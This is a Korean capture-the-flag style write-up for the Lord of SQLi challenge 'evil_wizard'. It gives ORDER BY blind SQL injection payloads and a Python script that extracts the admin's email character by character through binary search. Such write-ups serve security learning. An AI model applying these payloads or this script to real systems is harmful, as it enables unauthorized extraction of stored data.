[24] evil_wizard
문제
풀이
소스 코드만 보면 이전 문제와 완전히 같다.
물론 같은 문제일리가 없으니 테이블 내부 데이터를 확인해본다.
다음은 order=1을 페이로드로 전달했을 때 볼 수 있는 테이블이다.
이번 문제는 id ASC로 정렬해도, score ASC로 정렬해도 그 결과가 같을 것임을 예상할 수 있다.
그렇다면 이번에는,
if 조건문의 참/거짓에 따라 각각 “1 ASC”와 “1 DESC”를 반환해주면 될 것 같다.
그렇게 해주면 if문의 조건이 참인 경우,
admin 레코드가 위로 올라가게 되며, 이 경우 res.text에는 50</td></tr><tr><td>rubiya 가 포함될 것이다.
따라서, 전달해줄 페이로드는 다음과 같다.
[1] pw 길이 찾기
1
?order=if(id='admin' and length(email)=[길이], '1 ASC', '1 DESC')
[2] 완전한 pw 찾기
1
?order=if(id='admin' and ascii(substr(email,{len},1))=[아스키], '1 ASC', '1 DESC')
[3] 참 판별
1
if("50</td></tr><tr><td>rubiya" in res.text)
LoS 24번 Python 자동화 코드이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
def send(param):
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookie = "tp0ja8gkvp5j75fm5lntqomope"
head = {"PHPSESSID":f"{cookie}"}
my_url = url+param
res = requests.get(my_url, cookies=head)
return res.text
print("💘 LoS 24를 시작합니다")
for num in range(0,100):
param=f"?order=if(id='admin' and length(email)={num}, '1 ASC', '1 DESC')"
if("50</td></tr><tr><td>rubiya" in send(param)):
print(f"👏 email의 길이는 {num}입니다!")
break
ans=""
for len in range(1, num+1):
start = 32
end = 127
while True:
middle = round((start+end)/2)
param=f"?order=if(id='admin' and ascii(substr(email,{len},1))>={middle}, '1 ASC', '1 DESC') %23"
if("50</td></tr><tr><td>rubiya" in send(param)):
param=f"?order=if(id='admin' and ascii(substr(email,{len},1))={middle}, '1 ASC', '1 DESC') %23"
if("50</td></tr><tr><td>rubiya" in send(param)):
print(f"{len}번째 문자 → {chr(middle)}")
ans+=chr(middle)
break
else:
start = middle
continue
else:
end = middle
continue
print(f"👏 email의 정체는 [{ans}]입니다!")
Blind 공격 결과, admin의 email은 aasup3r_secure_email@emai1.com
임을 알 수 있다.